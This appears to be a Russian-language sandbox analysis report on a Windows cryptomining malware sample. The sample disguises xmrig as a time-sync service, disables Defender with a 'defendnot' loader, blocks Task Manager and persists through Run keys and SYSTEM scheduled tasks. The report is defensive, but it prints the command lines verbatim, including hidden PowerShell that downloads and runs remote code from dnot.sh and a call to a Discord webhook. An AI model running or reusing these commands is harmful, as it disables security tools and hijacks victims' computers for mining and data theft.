Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'TimeSync' = 'wscript.exe "%ALLUSERSPROFILE%\Windows_TimeSync\hidden.vbs"'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\systemmaintenance
- <SYSTEM32>\tasks\defendnot
- <SYSTEM32>\tasks\windows time sync
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%ALLUSERSPROFILE%\Windows_TimeSync\WinRing0x64.sys'
Создает следующие сервисы
- 'WinRing0_1_2_0' %ALLUSERSPROFILE%\Windows_TimeSync\WinRing0x64.sys
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\taskmgr.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
- <SYSTEM32>\taskmgr.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\_mei16002\vcruntime140.dll
- %TEMP%\_mei16002\_bz2.pyd
- %TEMP%\_mei16002\_ctypes.pyd
- %TEMP%\_mei16002\_decimal.pyd
- %TEMP%\_mei16002\_hashlib.pyd
- %TEMP%\_mei16002\_lzma.pyd
- %TEMP%\_mei16002\_socket.pyd
- %TEMP%\_mei16002\_ssl.pyd
- %TEMP%\_mei16002\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei16002\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei16002\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei16002\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei16002\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei16002\base_library.zip
- %TEMP%\_mei16002\libcrypto-1_1.dll
- %TEMP%\_mei16002\libffi-8.dll
- %TEMP%\_mei16002\libssl-1_1.dll
- %TEMP%\_mei16002\python311.dll
- %TEMP%\_mei16002\select.pyd
- %TEMP%\_mei16002\ucrtbase.dll
- %TEMP%\_mei16002\unicodedata.pyd
- %ALLUSERSPROFILE%\windows_timesync\startup.ps1
- nul
- %TEMP%\defendnot-x64.zip
- %ProgramFiles%\defendnot\defendnot-loader.pdb
- %ProgramFiles%\defendnot\defendnot-loader.exe
- %ProgramFiles%\defendnot\defendnot.dll
- %ProgramFiles%\defendnot\defendnot.pdb
- %ProgramFiles%\defendnot\ctx.bin
- %ALLUSERSPROFILE%\windows_timesync\xmrig.zip
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\benchmark_10m.cmd
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\benchmark_1m.cmd
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\config.json
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\pool_mine_example.cmd
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\rtm_ghostrider_example.cmd
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\sha256sums
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\solo_mine_example.cmd
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\start.cmd
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\winring0x64.sys
- %ALLUSERSPROFILE%\windows_timesync\xmrig-6.21.0\xmrig.exe
- %ALLUSERSPROFILE%\windows_timesync\time_sync.exe
- %ALLUSERSPROFILE%\windows_timesync\config.json
- %ALLUSERSPROFILE%\windows_timesync\restart.bat
- %ALLUSERSPROFILE%\windows_timesync\hidden.vbs
Удаляет файлы, которые сам же создал
- %TEMP%\defendnot-x64.zip
- %ALLUSERSPROFILE%\windows_timesync\xmrig.zip
- %TEMP%\_mei16002\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei16002\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei16002\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei16002\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei16002\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei16002\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei16002\base_library.zip
- %TEMP%\_mei16002\libcrypto-1_1.dll
- %TEMP%\_mei16002\libffi-8.dll
- %TEMP%\_mei16002\libssl-1_1.dll
- %TEMP%\_mei16002\python311.dll
- %TEMP%\_mei16002\select.pyd
- %TEMP%\_mei16002\ucrtbase.dll
- %TEMP%\_mei16002\unicodedata.pyd
- %TEMP%\_mei16002\vcruntime140.dll
- %TEMP%\_mei16002\_bz2.pyd
- %TEMP%\_mei16002\_ctypes.pyd
- %TEMP%\_mei16002\_decimal.pyd
- %TEMP%\_mei16002\_hashlib.pyd
- %TEMP%\_mei16002\_lzma.pyd
- %TEMP%\_mei16002\_socket.pyd
- %TEMP%\_mei16002\_ssl.pyd
Сетевая активность
Подключается к
- 'ap#.#pify.org':443
- 'di##ord.com':443
- 'dn#t.sh':443
- 'ra#.####ubusercontent.com':443
- 'x1.#.lencr.org':80
- 'ap#.#ithub.com':443
- 're#########ets.githubusercontent.com':443
- 'gi##ub.com':443
- 'gu##.##neroocean.stream':10128
TCP
Запросы HTTP GET
- http://x1.#.lencr.org/
Другие
- 'ap#.#pify.org':443
- 'di##ord.com':443
- 'dn#t.sh':443
- 'ra#.####ubusercontent.com':443
- 'ap#.#ithub.com':443
- 'gi##ub.com':443
- 'gu##.##neroocean.stream':10128
UDP
- DNS ASK ap#.#pify.org
- DNS ASK di##ord.com
- DNS ASK dn#t.sh
- DNS ASK ra#.####ubusercontent.com
- DNS ASK x1.#.lencr.org
- DNS ASK ap#.#ithub.com
- DNS ASK gi##ub.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK gu##.##neroocean.stream
Другое
Создает и запускает на исполнение
- '%ProgramFiles%\defendnot\defendnot-loader.exe' --silent
- '<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\Windows_TimeSync\hidden.vbs
- '%ALLUSERSPROFILE%\windows_timesync\time_sync.exe' --config="%ALLUSERSPROFILE%\Windows_TimeSync\config.json" --background --no-color
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command " $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 $webhookUrl = \"https://discord.com/api/webhooks/1499106262888091870/LzgqvyOepYUT9z... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "schtasks /create /tn "SystemMaintenance" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"%ALLUSERSPROFILE%\Windows_TimeSync\startup.ps1\"" /sc onstart /ru SYSTEM /f" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemMaintenance" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File \"%ALLUSERSPROFILE%\Windows_TimeSync\startup.ps1\"" /sc onstart /ru SYSTEM /f
- '<SYSTEM32>\cmd.exe' /c "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& ([ScriptBlock]::Create((irm https://dnot.sh/))) --silent"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& ([ScriptBlock]::Create((irm https://dnot.sh/))) --silent"
- '<SYSTEM32>\taskmgr.exe'
- '<SYSTEM32>\cmd.exe' /c "schtasks /create /tn "Windows Time Sync" /tr "wscript.exe \"%ALLUSERSPROFILE%\Windows_TimeSync\hidden.vbs\"" /sc onstart /ru SYSTEM /f" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "Windows Time Sync" /tr "wscript.exe \"%ALLUSERSPROFILE%\Windows_TimeSync\hidden.vbs\"" /sc onstart /ru SYSTEM /f
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\Windows_TimeSync\restart.bat" " (со скрытым окном)
- '<SYSTEM32>\chcp.com' 65001
